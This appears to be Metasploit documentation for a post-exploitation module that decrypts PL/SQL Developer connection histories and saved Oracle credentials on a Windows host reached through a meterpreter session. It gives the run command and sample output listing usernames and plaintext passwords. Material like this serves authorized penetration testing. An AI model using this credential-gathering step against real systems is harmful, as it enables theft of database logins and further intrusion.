## Vulnerable Application This module can decrypt the histories and connection credentials of PL/SQL Developer, and passwords are available if the user chooses to remember. Analysis of encryption algorithm [here](https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/). You can find its official website [here](https://www.allroundautomations.com/products/pl-sql-developer/). ## Verification Steps 1. Download and install PL/SQL Developer. 2. (Optional) Change the PL/SQL Developer preference to save the passwords. 3. Use PL/SQL Developer to log in to oracle databases. Or add a connection in PL/SQL Developer manually. 4. Get a `meterpreter` session on a Windows host. 5. Do: `run post/windows/gather/credentials/plsql_developer` 6. The username, password, SID of connections will be printed. ## Options **PLSQL_PATH** - Specify the path of PL/SQL Developer ## Scenarios ``` meterpreter > run windows/gather/credentials/plsql_developer [*] Gather PL/SQL Developer Histories and Connections on WIN-XXXXXXXXXXX [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs [*] Decrypting C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs PL/SQL Developer Histories and Credentials ========================================== DisplayName Username Database ConnectAs Password FilePath ----------- -------- -------- --------- -------- -------- [Connections]/Imported Fixed Users/Test sys ORCL SYSDBA pass C:\Users\Administrator\AppData\Roaming\PLSQL Developer 15\Preferences\Administrator\user.prefs [Connections]/Imported History/Test sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer 14\Preferences\Administrator\user.prefs [LogonHistory] test2 ORCL Normal password2 C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [LogonHistory] test1 ORCL Normal C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [LogonHistory] sys ORCL SYSDBA oracle C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [LogonHistory] user server Normal password C:\Users\Administrator\AppData\Roaming\PLSQL Developer\Preferences\Administrator\user.prefs [+] Passwords stored in: C:/Users/Administrator/.msf4/loot/20231109050433_default_127.0.0.1_host.plsql_devel_357810.txt meterpreter > ```